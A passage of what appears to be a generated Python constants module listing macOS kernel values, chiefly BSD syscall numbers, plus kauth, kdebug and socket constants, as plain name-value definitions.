Constant('KAUTH_ACL_MAX_ENTRIES',128) KAUTH_FILESEC_MAGIC = Constant('KAUTH_FILESEC_MAGIC',0x012cc16d) KAUTH_ENDIAN_HOST = Constant('KAUTH_ENDIAN_HOST',0x00000001) KAUTH_ENDIAN_DISK = Constant('KAUTH_ENDIAN_DISK',0x00000002) KAUTH_GENERIC_ISSUSER = Constant('KAUTH_GENERIC_ISSUSER',1) KAUTH_PROCESS_CANSIGNAL = Constant('KAUTH_PROCESS_CANSIGNAL',1) KAUTH_PROCESS_CANTRACE = Constant('KAUTH_PROCESS_CANTRACE',2) KAUTH_FILEOP_OPEN = Constant('KAUTH_FILEOP_OPEN',1) KAUTH_FILEOP_CLOSE = Constant('KAUTH_FILEOP_CLOSE',2) KAUTH_FILEOP_RENAME = Constant('KAUTH_FILEOP_RENAME',3) KAUTH_FILEOP_EXCHANGE = Constant('KAUTH_FILEOP_EXCHANGE',4) KAUTH_FILEOP_LINK = Constant('KAUTH_FILEOP_LINK',5) KAUTH_FILEOP_EXEC = Constant('KAUTH_FILEOP_EXEC',6) KAUTH_FILEOP_DELETE = Constant('KAUTH_FILEOP_DELETE',7) KAUTH_FILEOP_WILL_RENAME = Constant('KAUTH_FILEOP_WILL_RENAME',8) DBG_PPT = Constant('DBG_PPT',36) DBG_PERFCTRL = Constant('DBG_PERFCTRL',39) DBG_CLPC = Constant('DBG_CLPC',50) DBG_MUSE = Constant('DBG_MUSE',52) DBG_ANS = Constant('DBG_ANS',128) DBG_SIO = Constant('DBG_SIO',129) DBG_SEP = Constant('DBG_SEP',130) DBG_ISP = Constant('DBG_ISP',131) DBG_OSCAR = Constant('DBG_OSCAR',132) DBG_EMBEDDEDGFX = Constant('DBG_EMBEDDEDGFX',133) DBG_PMP = Constant('DBG_PMP',134) DBG_RTKIT = Constant('DBG_RTKIT',135) DBG_DCP = Constant('DBG_DCP',136) DBG_KMP = Constant('DBG_KMP',137) DBG_SKYWALK_ALWAYSON = Constant('DBG_SKYWALK_ALWAYSON',0x10) DBG_SKYWALK_FLOWSWITCH = Constant('DBG_SKYWALK_FLOWSWITCH',0x11) DBG_SKYWALK_NETIF = Constant('DBG_SKYWALK_NETIF',0x12) DBG_SKYWALK_CHANNEL = Constant('DBG_SKYWALK_CHANNEL',0x13) DBG_SKYWALK_PACKET = Constant('DBG_SKYWALK_PACKET',0x14) DBG_AQM_ALWAYSON = Constant('DBG_AQM_ALWAYSON',0x30) DBG_AQM_STATS = Constant('DBG_AQM_STATS',0x31) PPT_TEST = Constant('PPT_TEST',0x01) PPT_JETSAM_HIWAT = Constant('PPT_JETSAM_HIWAT',0x02) PPT_JETSAM_TOPPROC = Constant('PPT_JETSAM_TOPPROC',0x03) DBG_SEC_SSMA = Constant('DBG_SEC_SSMA',0x02) KDBG_CPU_SHIFT = Constant('KDBG_CPU_SHIFT',56) KDBG_INIT = Constant('KDBG_INIT',0x01) KDBG_FREERUN = Constant('KDBG_FREERUN',0x04) KDBG_CPUMAP_IS_IOP = Constant('KDBG_CPUMAP_IS_IOP',0x1) KDEBUG_COMMPAGE_ENABLE_TRACE = Constant('KDEBUG_COMMPAGE_ENABLE_TRACE',0x1) KDEBUG_COMMPAGE_ENABLE_TYPEFILTER = Constant('KDEBUG_COMMPAGE_ENABLE_TYPEFILTER',0x2) KDEBUG_COMMPAGE_CONTINUOUS = Constant('KDEBUG_COMMPAGE_CONTINUOUS',0x4) KDBG_LOCKINIT = Constant('KDBG_LOCKINIT',0x0080) KDBG_CLASSTYPE = Constant('KDBG_CLASSTYPE',0x10000) KDBG_SUBCLSTYPE = Constant('KDBG_SUBCLSTYPE',0x20000) KDBG_RANGETYPE = Constant('KDBG_RANGETYPE',0x40000) KDBG_TYPENONE = Constant('KDBG_TYPENONE',0x80000) KDBG_CKTYPES = Constant('KDBG_CKTYPES',0xF0000) RAW_VERSION0 = Constant('RAW_VERSION0',0x55aa0000) RAW_VERSION1 = Constant('RAW_VERSION1',0x55aa0101) RAW_VERSION2 = Constant('RAW_VERSION2',0x55aa0200) kEnTrCompKernel = Constant('kEnTrCompKernel',2) kEnTrActKernSocket = Constant('kEnTrActKernSocket',1) kEnTrActKernSockRead = Constant('kEnTrActKernSockRead',2) kEnTrActKernSockWrite = Constant('kEnTrActKernSockWrite',3) kEnTrActKernPoll = Constant('kEnTrActKernPoll',10) kEnTrActKernSelect = Constant('kEnTrActKernSelect',11) kEnTrActKernKQWait = Constant('kEnTrActKernKQWait',12) kEnTrEvUnblocked = Constant('kEnTrEvUnblocked',256) kEnTrFlagNonBlocking = Constant('kEnTrFlagNonBlocking',0x1) kEnTrFlagNoWork = Constant('kEnTrFlagNoWork',0x2) ENTR_SHOULDTRACE = Constant('ENTR_SHOULDTRACE',0) SYS_syscall = Constant('SYS_syscall',0) SYS_exit = Constant('SYS_exit',1) SYS_fork = Constant('SYS_fork',2) SYS_read = Constant('SYS_read',3) SYS_write = Constant('SYS_write',4) SYS_open = Constant('SYS_open',5) SYS_close = Constant('SYS_close',6) SYS_wait4 = Constant('SYS_wait4',7) SYS_link = Constant('SYS_link',9) SYS_unlink = Constant('SYS_unlink',10) SYS_chdir = Constant('SYS_chdir',12) SYS_fchdir = Constant('SYS_fchdir',13) SYS_mknod = Constant('SYS_mknod',14) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',16) SYS_getfsstat = Constant('SYS_getfsstat',18) SYS_getpid = Constant('SYS_getpid',20) SYS_setuid = Constant('SYS_setuid',23) SYS_getuid = Constant('SYS_getuid',24) SYS_geteuid = Constant('SYS_geteuid',25) SYS_ptrace = Constant('SYS_ptrace',26) SYS_recvmsg = Constant('SYS_recvmsg',27) SYS_sendmsg = Constant('SYS_sendmsg',28) SYS_recvfrom = Constant('SYS_recvfrom',29) SYS_accept = Constant('SYS_accept',30) SYS_getpeername = Constant('SYS_getpeername',31) SYS_getsockname = Constant('SYS_getsockname',32) SYS_access = Constant('SYS_access',33) SYS_chflags = Constant('SYS_chflags',34) SYS_fchflags = Constant('SYS_fchflags',35) SYS_sync = Constant('SYS_sync',36) SYS_kill = Constant('SYS_kill',37) SYS_crossarch_trap = Constant('SYS_crossarch_trap',38) SYS_getppid = Constant('SYS_getppid',39) SYS_dup = Constant('SYS_dup',41) SYS_pipe = Constant('SYS_pipe',42) SYS_getegid = Constant('SYS_getegid',43) SYS_sigaction = Constant('SYS_sigaction',46) SYS_getgid = Constant('SYS_getgid',47) SYS_sigprocmask = Constant('SYS_sigprocmask',48) SYS_getlogin = Constant('SYS_getlogin',49) SYS_setlogin = Constant('SYS_setlogin',50) SYS_acct = Constant('SYS_acct',51) SYS_sigpending = Constant('SYS_sigpending',52) SYS_sigaltstack = Constant('SYS_sigaltstack',53) SYS_ioctl = Constant('SYS_ioctl',54) SYS_reboot = Constant('SYS_reboot',55) SYS_revoke = Constant('SYS_revoke',56) SYS_symlink = Constant('SYS_symlink',57) SYS_readlink = Constant('SYS_readlink',58) SYS_execve = Constant('SYS_execve',59) SYS_umask = Constant('SYS_umask',60) SYS_chroot = Constant('SYS_chroot',61) SYS_msync = Constant('SYS_msync',65) SYS_vfork = Constant('SYS_vfork',66) SYS_munmap = Constant('SYS_munmap',73) SYS_mprotect = Constant('SYS_mprotect',74) SYS_madvise = Constant('SYS_madvise',75) SYS_mincore = Constant('SYS_mincore',78) SYS_getgroups = Constant('SYS_getgroups',79) SYS_setgroups = Constant('SYS_setgroups',80) SYS_getpgrp = Constant('SYS_getpgrp',81) SYS_setpgid = Constant('SYS_setpgid',82) SYS_setitimer = Constant('SYS_setitimer',83) SYS_swapon = Constant('SYS_swapon',85) SYS_getitimer = Constant('SYS_getitimer',86) SYS_getdtablesize = Constant('SYS_getdtablesize',89) SYS_dup2 = Constant('SYS_dup2',90) SYS_fcntl = Constant('SYS_fcntl',92) SYS_select = Constant('SYS_select',93) SYS_fsync = Constant('SYS_fsync',95) SYS_setpriority = Constant('SYS_setpriority',96) SYS_socket = Constant('SYS_socket',97) SYS_connect = Constant('SYS_connect',98) SYS_getpriority = Constant('SYS_getpriority',100) SYS_bind = Constant('SYS_bind',104) SYS_setsockopt = Constant('SYS_setsockopt',105) SYS_listen = Constant('SYS_listen',106) SYS_sigsuspend = Constant('SYS_sigsuspend',111) SYS_gettimeofday = Constant('SYS_gettimeofday',116) SYS_getrusage = Constant('SYS_getrusage',117) SYS_getsockopt = Constant('SYS_getsockopt',118) SYS_readv = Constant('SYS_readv',120) SYS_writev = Constant('SYS_writev',121) SYS_settimeofday = Constant('SYS_settimeofday',122) SYS_fchown = Constant('SYS_fchown',123) SYS_fchmod = Constant('SYS_fchmod',124) SYS_setreuid = Constant('SYS_setreuid',126) SYS_setregid = Constant('SYS_setregid',127) SYS_rename = Constant('SYS_rename',128) SYS_flock = Constant('SYS_flock',131) SYS_mkfifo = Constant('SYS_mkfifo',132) SYS_sendto = Constant('SYS_sendto',133) SYS_shutdown = Constant('SYS_shutdown',134) SYS_socketpair = Constant('SYS_socketpair',135) SYS_mkdir = Constant('SYS_mkdir',136) SYS_rmdir = Constant('SYS_rmdir',137) SYS_utimes = Constant('SYS_utimes',138) SYS_futimes = Constant('SYS_futimes',139) SYS_adjtime = Constant('SYS_adjtime',140) SYS_gethostuuid = Constant('SYS_gethostuuid',142) SYS_setsid = Constant('SYS_setsid',147) SYS_getpgid = Constant('SYS_getpgid',151) SYS_setprivexec = Constant('SYS_setprivexec',152) SYS_pread = Constant('SYS_pread',153) SYS_pwrite = Constant('SYS_pwrite',154) SYS_nfssvc = Constant('SYS_nfssvc',155) SYS_statfs = Constant('SYS_statfs',157) SYS_fstatfs = Constant('SYS_fstatfs',158) SYS_unmount = Constant('SYS_unmount',159) SYS_getfh = Constant('SYS_getfh',161) SYS_quotactl = Constant('SYS_quotactl',165) SYS_mount = Constant('SYS_mount',167) SYS_csops = Constant('SYS_csops',169) SYS_csops_audittoken = Constant('SYS_csops_audittoken',170) SYS_waitid = Constant('SYS_waitid',173) SYS_kdebug_typefilter = Constant('SYS_kdebug_typefilter',177) SYS_kdebug_trace_string = Constant('SYS_kdebug_trace_string',178) SYS_kdebug_trace64 = Constant('SYS_kdebug_trace64',179) SYS_kdebug_trace = Constant('SYS_kdebug_trace',180) SYS_setgid = Constant('SYS_setgid',181) SYS_setegid = Constant('SYS_setegid',182) SYS_seteuid = Constant('SYS_seteuid',183) SYS_sigreturn = Constant('SYS_sigreturn',184) SYS_panic_with_data = Constant('SYS_panic_with_data',185) SYS_thread_selfcounts = Constant('SYS_thread_selfcounts',186) SYS_fdatasync = Constant('SYS_fdatasync',187) SYS_stat = Constant('SYS_stat',188) SYS_fstat = Constant('SYS_fstat',189) SYS_lstat = Constant('SYS_lstat',190) SYS_pathconf = Constant('SYS_pathconf',191) SYS_fpathconf = Constant('SYS_fpathconf',192) SYS_getrlimit = Constant('SYS_getrlimit',194) SYS_setrlimit = Constant('SYS_setrlimit',195) SYS_getdirentries = Constant('SYS_getdirentries',196) SYS_mmap = Constant('SYS_mmap',197) SYS_lseek = Constant('SYS_lseek',199) SYS_truncate = Constant('SYS_truncate',200) SYS_ftruncate = Constant('SYS_ftruncate',201) SYS_sysctl = Constant('SYS_sysctl',202) SYS_mlock = Constant('SYS_mlock',203) SYS_munlock = Constant('SYS_munlock',204) SYS_undelete = Constant('SYS_undelete',205) SYS_open_dprotected_np = Constant('SYS_open_dprotected_np',216) SYS_fsgetpath_ext = Constant('SYS_fsgetpath_ext',217) SYS_openat_dprotected_np = Constant('SYS_openat_dprotected_np',218) SYS_getattrlist = Constant('SYS_getattrlist',220) SYS_setattrlist = Constant('SYS_setattrlist',221) SYS_getdirentriesattr = Constant('SYS_getdirentriesattr',222) SYS_exchangedata = Constant('SYS_exchangedata',223) SYS_searchfs = Constant('SYS_searchfs',225) SYS_delete = Constant('SYS_delete',226) SYS_copyfile = Constant('SYS_copyfile',227) SYS_fgetattrlist = Constant('SYS_fgetattrlist',228) SYS_fsetattrlist = Constant('SYS_fsetattrlist',229) SYS_poll = Constant('SYS_poll',230) SYS_getxattr = Constant('SYS_getxattr',234) SYS_fgetxattr = Constant('SYS_fgetxattr',235) SYS_setxattr = Constant('SYS_setxattr',236) SYS_fsetxattr = Constant('SYS_fsetxattr',237) SYS_removexattr = Constant('SYS_removexattr',238) SYS_fremovexattr = Constant('SYS_fremovexattr',239) SYS_listxattr = Constant('SYS_listxattr',240) SYS_flistxattr = Constant('SYS_flistxattr',241) SYS_fsctl = Constant('SYS_fsctl',242) SYS_initgroups = Constant('SYS_initgroups',243) SYS_posix_spawn = Constant('SYS_posix_spawn',244) SYS_ffsctl = Constant('SYS_ffsctl',245) SYS_fhopen = Constant('SYS_fhopen',248) SYS_minherit = Constant('SYS_minherit',250) SYS_semsys = Constant('SYS_semsys',251) SYS_msgsys = Constant('SYS_msgsys',252) SYS_shmsys = Constant('SYS_shmsys',253) SYS_semctl = Constant('SYS_semctl',254) SYS_semget = Constant('SYS_semget',255) SYS_semop = Constant('SYS_semop',256) SYS_msgctl = Constant('SYS_msgctl',258) SYS_msgget = Constant('SYS_msgget',259) SYS_msgsnd = Constant('SYS_msgsnd',260) SYS_msgrcv = Constant('SYS_msgrcv',261) SYS_shmat = Constant('SYS_shmat',262) SYS_shmctl = Constant('SYS_shmctl',263) SYS_shmdt = Constant('SYS_shmdt',264) SYS_shmget = Constant('SYS_shmget',265) SYS_shm_open = Constant('SYS_shm_open',266) SYS_shm_unlink = Constant('SYS_shm_unlink',267) SYS_sem_open = Constant('SYS_sem_open',268) SYS_sem_close = Constant('SYS_sem_close',269) SYS_sem_unlink = Constant('SYS_sem_unlink',270) SYS_sem_wait = Constant('SYS_sem_wait',271) SYS_sem_trywait = Constant('SYS_sem_trywait',272) SYS_sem_post = Constant('SYS_sem_post',273) SYS_sysctlbyname = Constant('SYS_sysctlbyname',274) SYS_open_extended = Constant('SYS_open_extended',277) SYS_umask_extended = Constant('SYS_umask_extended',278) SYS_stat_extended = Constant('SYS_stat_extended',279) SYS_lstat_extended = Constant('SYS_lstat_extended',280) SYS_fstat_extended = Constant('SYS_fstat_extended',281) SYS_chmod_extended = Constant('SYS_chmod_extended',282) SYS_fchmod_extended = Constant('SYS_fchmod_extended',283) SYS_access_extended = Constant('SYS_access_extended',284) SYS_settid = Constant('SYS_settid',285) SYS_gettid = Constant('SYS_gettid',286) SYS_setsgroups = Constant('SYS_setsgroups',287) SYS_getsgroups = Constant('SYS_getsgroups',288) SYS_setwgroups = Constant('SYS_setwgroups',289) SYS_getwgroups = Constant('SYS_getwgroups',290) SYS_mkfifo_extended = Constant('SYS_mkfifo_extended',291) SYS_mkdir_extended = Constant('SYS_mkdir_extended',292) SYS_identitysvc = Constant('SYS_identitysvc',293) SYS_shared_region_check_np = Constant('SYS_shared_region_check_np',294) SYS_vm_pressure_monitor = Constant('SYS_vm_pressure_monitor',296) SYS_psynch_rw_longrdlock = Constant('SYS_psynch_rw_longrdlock',297) SYS_psynch_rw_yieldwrlock = Constant('SYS_psynch_rw_yieldwrlock',298) SYS_psynch_rw_downgrade = Constant('SYS_psynch_rw_downgrade',299) SYS_psynch_rw_upgrade = Constant('SYS_psynch_rw_upgrade',300) SYS_psynch_mutexwait = Constant('SYS_psynch_mutexwait',301) SYS_psynch_mutexdrop = Constant('SYS_psynch_mutexdrop',302) SYS_psynch_cvbroad = Constant('SYS_psynch_cvbroad',303) SYS_psynch_cvsignal = Constant('SYS_psynch_cvsignal',304) SYS_psynch_cvwait = Constant('SYS_psynch_cvwait',305) SYS_psynch_rw_rdlock = Constant('SYS_psynch_rw_rdlock',306) SYS_psynch_rw_wrlock = Constant('SYS_psynch_rw_wrlock',307) SYS_psynch_rw_unlock = Constant('SYS_psynch_rw_unlock',308) SYS_psynch_rw_unlock2 = Constant('SYS_psynch_rw_unlock2',309) SYS_getsid = Constant('SYS_getsid',310) SYS_settid_with_pid = Constant('SYS_settid_with_pid',311) SYS_psynch_cvclrprepost = Constant('SYS_psynch_cvclrprepost',312) SYS_aio_fsync = Constant('SYS_aio_fsync',313) SYS_aio_return = Constant('SYS_aio_return',314) SYS_aio_suspend = Constant('SYS_aio_suspend',315) SYS_aio_cancel = Constant('SYS_aio_cancel',316) SYS_aio_error = Constant('SYS_aio_error',317) SYS_aio_read = Constant('SYS_aio_read',318) SYS_aio_write = Constant('SYS_aio_write',319) SYS_lio_listio = Constant('SYS_lio_listio',320) SYS_iopolicysys = Constant('SYS_iopolicysys',322) SYS_process_policy = Constant('SYS_process_policy',323) SYS_mlockall = Constant('SYS_mlockall',324) SYS_munlockall = Constant('SYS_munlockall',325) SYS_issetugid = Constant('SYS_issetugid',327) SYS___pthread_kill = Constant('SYS___pthread_kill',328) SYS___pthread_sigmask = Constant('SYS___pthread_sigmask',329) SYS___sigwait = Constant('SYS___sigwait',330) SYS___disable_threadsignal = Constant('SYS___disable_threadsignal',331) SYS___pthread_markcancel = Constant('SYS___pthread_markcancel',332) SYS___pthread_canceled = Constant('SYS___pthread_canceled',333) SYS___semwait_signal = Constant('SYS___semwait_signal',334) SYS_proc_info = Constant('SYS_proc_info',336) SYS_sendfile = Constant('SYS_sendfile',337) SYS_stat64 = Constant('SYS_stat64',338) SYS_fstat64 = Constant('SYS_fstat64',339) SYS_lstat64 = Constant('SYS_lstat64',340) SYS_stat64_extended = Constant('SYS_stat64_extended',341) SYS_lstat64_extended = Constant('SYS_lstat64_extended',342) SYS_fstat64_extended = Constant('SYS_fstat64_extended',343) SYS_getdirentries64 = Constant('SYS_getdirentries64',344) SYS_statfs64 = Constant('SYS_statfs64',345) SYS_fstatfs64 = Constant('SYS_fstatfs64',346) SYS_getfsstat64 = Constant('SYS_getfsstat64',347) SYS___pthread_chdir = Constant('SYS___pthread_chdir',348) SYS___pthread_fchdir = Constant('SYS___pthread_fchdir',349) SYS_audit = Constant('SYS_audit',350) SYS_auditon = Constant('SYS_auditon',351) SYS_getauid = Constant('SYS_getauid',353) SYS_setauid = Constant('SYS_setauid',354) SYS_getaudit_addr = Constant('SYS_getaudit_addr',357) SYS_setaudit_addr = Constant('SYS_setaudit_addr',358) SYS_auditctl = Constant('SYS_auditctl',359) SYS_bsdthread_create = Constant('SYS_bsdthread_create',360) SYS_bsdthread_terminate = Constant('SYS_bsdthread_terminate',361) SYS_kqueue = Constant('SYS_kqueue',362) SYS_kevent = Constant('SYS_kevent',363) SYS_lchown = Constant('SYS_lchown',364) SYS_bsdthread_register = Constant('SYS_bsdthread_register',366) SYS_workq_open = Constant('SYS_workq_open',367) SYS_workq_kernreturn = Constant('SYS_workq_kernreturn',368) SYS_kevent64 = Constant('SYS_kevent64',369) SYS_thread_selfid = Constant('SYS_thread_selfid',372) SYS_ledger = Constant('SYS_ledger',373) SYS_kevent_qos = Constant('SYS_kevent_qos',374) SYS_kevent_id = Constant('SYS_kevent_id',375) SYS___mac_execve = Constant('SYS___mac_execve',380) SYS___mac_syscall = Constant('SYS___mac_syscall',381) SYS___mac_get_file = Constant('SYS___mac_get_file',382) SYS___mac_set_file = Constant('SYS___mac_set_file',383) SYS___mac_get_link = Constant('SYS___mac_get_link',384) SYS___mac_set_link = Constant('SYS___mac_set_link',385) SYS___mac_get_proc = Constant('SYS___mac_get_proc',386) SYS___mac_set_proc = Constant('SYS___mac_set_proc',387) SYS___mac_get_fd = Constant('SYS___mac_get_fd',388) SYS___mac_set_fd = Constant('SYS___mac_set_fd',389) SYS___mac_get_pid = Constant('SYS___mac_get_pid',390) SYS_pselect = Constant('SYS_pselect',394) SYS_pselect_nocancel = Constant('SYS_pselect_nocancel',395) SYS_read_nocancel = Constant('SYS_read_nocancel',396) SYS_write_nocancel = Constant('SYS_write_nocancel',397) SYS_open_nocancel = Constant('SYS_open_nocancel',398) SYS_close_nocancel = Constant('SYS_close_nocancel',399) SYS_wait4_nocancel = Constant('SYS_wait4_nocancel',400) SYS_recvmsg_nocancel = Constant('SYS_recvmsg_nocancel',401) SYS_sendmsg_nocancel = Constant('SYS_sendmsg_nocancel',402) SYS_recvfrom_nocancel = Constant('SYS_recvfrom_nocancel',403) SYS_accept_nocancel = Constant('SYS_accept_nocancel',404) SYS_msync_nocancel = Constant('SYS_msync_nocancel',405) SYS_fcntl_nocancel = Constant('SYS_fcntl_nocancel',406) SYS_select_nocancel = Constant('SYS_select_nocancel',407) SYS_fsync_nocancel = Constant('SYS_fsync_nocancel',408) SYS_connect_nocancel = Constant('SYS_connect_nocancel',409) SYS_sigsuspend_nocancel = Constant('SYS_sigsuspend_nocancel',410) SYS_readv_nocancel = Constant('SYS_readv_nocancel',411) SYS_writev_nocancel = Constant('SYS_writev_nocancel',412) SYS_sendto_nocancel = Constant('SYS_sendto_nocancel',413) SYS_pread_nocancel = Constant('SYS_pread_nocancel',414) SYS_pwrite_nocancel = Constant('SYS_pwrite_nocancel',415) SYS_waitid_nocancel = Constant('SYS_waitid_nocancel',416) SYS_poll_nocancel = Constant('SYS_poll_nocancel',417) SYS_msgsnd_nocancel = Constant('SYS_msgsnd_nocancel',418) SYS_msgrcv_nocancel = Constant('SYS_msgrcv_nocancel',419) SYS_sem_wait_nocancel = Constant('SYS_sem_wait_nocancel',420) SYS_aio_suspend_nocancel = Constant('SYS_aio_suspend_nocancel',421) SYS___sigwait_nocancel = Constant('SYS___sigwait_nocancel',422) SYS___semwait_signal_nocancel = Constant('SYS___semwait_signal_nocancel',423) SYS___mac_mount = Constant('SYS___mac_mount',424) SYS___mac_get_mount = Constant('SYS___mac_get_mount',425) SYS___mac_getfsstat = Constant('SYS___mac_getfsstat',426) SYS_fsgetpath = Constant('SYS_fsgetpath',427) SYS_audit_session_self = Constant('SYS_audit_session_self',428) SYS_audit_session_join = Constant('SYS_audit_session_join',429) SYS_fileport_makeport = Constant('SYS_fileport_makeport',430) SYS_fileport_makefd = Constant('SYS_fileport_makefd',431) SYS_audit_session_port = Constant('SYS_audit_session_port',432) SYS_pid_suspend = Constant('SYS_pid_suspend',433) SYS_pid_resume = Constant('SYS_pid_resume',434) SYS_pid_hibernate = Constant('SYS_pid_hibernate',435) SYS_pid_shutdown_sockets = Constant('SYS_pid_shutdown_sockets',436) SYS_kas_info = Constant('SYS_kas_info',439) SYS_memorystatus_control = Constant('SYS_memorystatus_control',440) SYS_guarded_open_np = Constant('SYS_guarded_open_np',441) SYS_guarded_close_np = Constant('SYS_guarded_close_np',442) SYS_guarded_kqueue_np = Constant('SYS_guarded_kqueue_np',443) SYS_change_fdguard_np = Constant('SYS_change_fdguard_np',444) SYS_usrctl = Constant('SYS_usrctl',445) SYS_proc_rlimit_control = Constant('SYS_proc_rlimit_control',446) SYS_connectx = Constant('SYS_connectx',447) SYS_disconnectx = Constant('SYS_disconnectx',448) SYS_peeloff = Constant('SYS_peeloff',449) SYS_socket_delegate = Constant('SYS_socket_delegate',450) SYS_telemetry = Constant('SYS_telemetry',451) SYS_proc_uuid_policy = Constant('SYS_proc_uuid_policy',452) SYS_memorystatus_get_level = Constant('SYS_memorystatus_get_level',453) SYS_system_override = Constant('SYS_system_override',454) SYS_vfs_purge = Constant('SYS_vfs_purge',455) SYS_sfi_ctl = Constant('SYS_sfi_ctl',456) SYS_sfi_pidctl = Constant('SYS_sfi_pidctl',457) SYS_coalition = Constant('SYS_coalition',458) SYS_coalition_info = Constant('SYS_coalition_info',459) SYS_necp_match_policy = Constant('SYS_necp_match_policy',460) SYS_getattrlistbulk = Constant('SYS_getattrlistbulk',461) SYS_clonefileat = Constant('SYS_clonefileat',462) SYS_openat = Constant('SYS_openat',463) SYS_openat_nocancel = Constant('SYS_openat_nocancel',464) SYS_renameat = Constant('SYS_renameat',465) SYS_faccessat = Constant('SYS_faccessat',466) SYS_fchmodat = Constant('SYS_fchmodat',467) SYS_fchownat = Constant('SYS_fchownat',468) SYS_fstatat = Constant('SYS_fstatat',469) SYS_fstatat64 = Constant('SYS_fstatat64',470) SYS_linkat = Constant('SYS_linkat',471) SYS_unlinkat = Constant('SYS_unlinkat',472) SYS_readlinkat = Constant('SYS_readlinkat',473) SYS_symlinkat = Constant('SYS_symlinkat',474) SYS_mkdirat = Constant('SYS_mkdirat',475) SYS_getattrlistat = Constant('SYS_getattrlistat',476) SYS_proc_trace_log = Constant('SYS_proc_trace_log',477) SYS_bsdthread_ctl = Constant('SYS_bsdthread_ctl',478) SYS_openbyid_np = Constant('SYS_openbyid_np',479) SYS_recvmsg_x = Constant('SYS_recvmsg_x',480) SYS_sendmsg_x = Constant('SYS_sendmsg_x',481) SYS_thread_selfusage = Constant('SYS_thread_selfusage',482) SYS_csrctl = Constant('SYS_csrctl',483) SYS_guarded_open_dprotected_np = Constant('SYS_guarded_open_dprotected_np',484) SYS_guarded_write_np = Constant('SYS_guarded_write_np',485) SYS_guarded_pwrite_np = Constant('SYS_guarded_pwrite_np',486) SYS_guarded_writev_np = Constant('SYS_guarded_writev_np',487) SYS_renameatx_np = Constant('SYS_renameatx_np',488) SYS_mremap_encrypted = Constant('SYS_mremap_encrypted',489) SYS_netagent_trigger = Constant('SYS_netagent_trigger',490) SYS_stack_snapshot_with_config = Constant('SYS_stack_snapshot_with_config',491) SYS_microstackshot = Constant('SYS_microstackshot',492) SYS_grab_pgo_data = Constant('SYS_grab_pgo_data',493) SYS_persona = Constant('SYS_persona',494) SYS_mach_eventlink_signal = Constant('SYS_mach_eventlink_signal',496) SYS_mach_eventlink_wait_until = Constant('SYS_mach_eventlink_wait_until',497) SYS_mach_eventlink_signal_wait_until = Constant('SYS_mach_eventlink_signal_wait_until',498) SYS_work_interval_ctl = Constant('SYS_work_interval_ctl',499) SYS_getentropy = Constant('SYS_getentropy',500) SYS_necp_open = Constant('SYS_necp_open',501) SYS_necp_client_action = Constant('SYS_necp_client_action',502) SYS___nexus_open = Constant('SYS___nexus_open',503) SYS___nexus_register = Constant('SYS___nexus_register',504) SYS___nexus_deregister = Constant('SYS___nexus_deregister',505) SYS___nexus_create = Constant('SYS___nexus_create',506) SYS___nexus_destroy = Constant('SYS___nexus_destroy',507) SYS___nexus_get_opt = Constant('SYS___nexus_get_opt',508) SYS___nexus_set_opt = Constant('SYS___nexus_set_opt',509) SYS___channel_open = Constant('SYS___channel_open',510) SYS___channel_get_info = Constant('SYS___channel_get_info',511) SYS___channel_sync = Constant('SYS___channel_sync',512) SYS___channel_get_opt = Constant('SYS___channel_get_opt',513) SYS___channel_set_opt = Constant('SYS___channel_set_opt',514) SYS_ulock_wait = Constant('SYS_ulock_wait',515) SYS_ulock_wake = Constant('SYS_ulock_wake',516) SYS_fclonefileat = Constant('SYS_fclonefileat',517) SYS_fs_snapshot = Constant('SYS_fs_snapshot',518) SYS_register_uexc_handler = Constant('SYS_register_uexc_handler',519) SYS_terminate_with_payload = Constant('SYS_terminate_with_payload',520) SYS_abort_with_payload = Constant('SYS_abort_with_payload',521) SYS_necp_session_open = Constant('SYS_necp_session_open',522) SYS_necp_session_action = Constant('SYS_necp_session_action',523) SYS_setattrlistat = Constant('SYS_setattrlistat',524) SYS_net_qos_guideline = Constant('SYS_net_qos_guideline',525) SYS_fmount = Constant('SYS_fmount',526) SYS_ntp_adjtime = Constant('SYS_ntp_adjtime',527) SYS_ntp_gettime = Constant('SYS_ntp_gettime',528) SYS_os_fault_with_payload = Constant('SYS_os_fault_with_payload',529) SYS_kqueue_workloop_ctl = Constant('SYS_kqueue_workloop_ctl',530) SYS___mach_bridge_remote_time = Constant('SYS___mach_bridge_remote_time',531) SYS_coalition_ledger = Constant('SYS_coalition_ledger',532) SYS_log_data = Constant('SYS_log_data',533) SYS_memorystatus_available_memory = Constant('SYS_memorystatus_available_memory',534) SYS_objc_bp_assist_cfg_np = Constant('SYS_objc_bp_assist_cfg_np',535) SYS_shared_region_map_and_slide_2_np = Constant('SYS_shared_region_map_and_slide_2_np',536) SYS_pivot_root = Constant('SYS_pivot_root',537) SYS_task_inspect_for_pid = Constant('SYS_task_inspect_for_pid',538) SYS_task_read_for_pid = Constant('SYS_task_read_for_pid',539) SYS_preadv = Constant('SYS_preadv',540) SYS_pwritev = Constant('SYS_pwritev',541) SYS_preadv_nocancel = Constant('SYS_preadv_nocancel',542) SYS_pwritev_nocancel = Constant('SYS_pwritev_nocancel',543) SYS_ulock_wait2 = Constant('SYS_ulock_wait2',544) SYS_proc_info_extended_id = Constant('SYS_proc_info_extended_id',545) SYS_tracker_action = Constant('SYS_tracker_action',546) SYS_debug_syscall_reject = Constant('SYS_debug_syscall_reject',547) SYS_debug_syscall_reject_config = Constant('SYS_debug_syscall_reject_config',548) SYS_graftdmg = Constant('SYS_graftdmg',549) SYS_map_with_linking_np = Constant('SYS_map_with_linking_np',550) SYS_freadlink = Constant('SYS_freadlink',551) SYS_record_system_event = Constant('SYS_record_system_event',552) SYS_mkfifoat = Constant('SYS_mkfifoat',553) SYS_mknodat = Constant('SYS_mknodat',554) SYS_ungraftdmg = Constant('SYS_ungraftdmg',555) SYS_coalition_policy_set = Constant('SYS_coalition_policy_set',556) SYS_coalition_policy_get = Constant('SYS_coalition_policy_get',557) SYS_MAXSYSCALL = Constant('SYS_MAXSYSCALL',558) SYS_invalid = Constant('SYS_invalid',63) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SO_DEBUG = Constant('SO_DEBUG',0x0001) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x0002) SO_REUSEADDR = Constant('SO_REUSEADDR',0x0004) SO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008) SO_DONTROUTE = 